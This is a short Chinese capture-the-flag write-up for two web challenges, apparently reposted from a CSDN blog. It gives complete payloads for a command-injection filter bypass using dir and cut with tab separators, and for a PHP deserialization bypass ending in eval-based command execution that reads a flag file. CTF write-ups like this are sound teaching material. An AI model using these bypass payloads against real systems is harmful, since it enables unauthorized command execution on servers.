第二届金盾信安杯 web wp1-2

by 七岁。

web1

考察命令执行 shell命令操作符
在这里插入图片描述
基本上过滤了所有可用的命令
平时我们都是ls 查看目录
仔细发现dir命令并没有被禁止
所以我们可以dir%09.%09
在这里插入图片描述
也是这样的

.  表示当前目录

在这里插入图片描述
然后就是读文件命令
被ban了那么多还有几个忽略了
cut 命令awk sed fmt等等
来看看cut命令
在这里插入图片描述
在这里插入图片描述
试一试别的
在这里插入图片描述
等等,最后payload

cmd=cut%09-f%091%09F14g_1s_h4rehaha.php%09

web2

在这里插入图片描述

payload:

Class Welcome{
    public $cmd;
    public $admin='info';
}

$a = new Welcome();

echo serialize($a);

题目提示错误,fuzz一下
check_data函数过滤了O:7 cmd admin {
于是我们需要进行绕过,其中O:7通过O:+7进行绕过//为什么+可以绕过O:7通过O:+7
Cmd和admin使用S和16进制绕过,也就是将s:3:”cmd” ====》 S:3:"\63\6d\64"
Admin同理。
然后{}使用()代替

最终得到payload:

O:%2b7:"Welcome":2:(S:3:"\63\6d\64";N;S:14:"%00Welcome%00\61\64\6d\69\6e";S:4:"info";)

注意本地环境如果为php=7就不能用(绕过{,适用于php=5
之后就可以输出phpinfo
然后我们进行命令执行,只需要将info变成jdb即可。
然后就是会对$_POST[“cmd”]放入eval函数中执行,但是这里还有一个check_cmd函数需要绕过。经过测试,发现这个函数过滤了php
<? ; () script ‘ “” language 空格
首先,过滤了;
那无法直接执行php代码,必须用?>把前面的php代码闭合掉,在重新用<?phpxxxxxx?>写php代码
但是海拔<?过滤了,除了
<?php ?>之外,我们还可以用<script language=’php’>xxx</script>代码执行
script php language的过滤我们可以用大小写进行绕过。
把()过滤了无法直接调用php函数,那么我们可以用bash命令来执行,但是需要注意的是这个执行是没有回显的,需要打印出来,但是这里过滤了空格。 可以用%0a绕过空格
最终payload:

data=O:%2b7:"Welcome":2:(S:3:"\63\6d\64";S:2:"<?";S:14:"\00\57\65\6c\63\6f\6d\65\00\61\64\6d\69\6e";S:3:"\6a\64\62";)&cmd=?><ScriPT%0alanguagE=PhP>echo%0a`cat</F1ag_1s_h4re_HaHa!.txt`</ScRiPt>

猜你喜欢

转载自blog.csdn.net/giaogiao123/article/details/111547646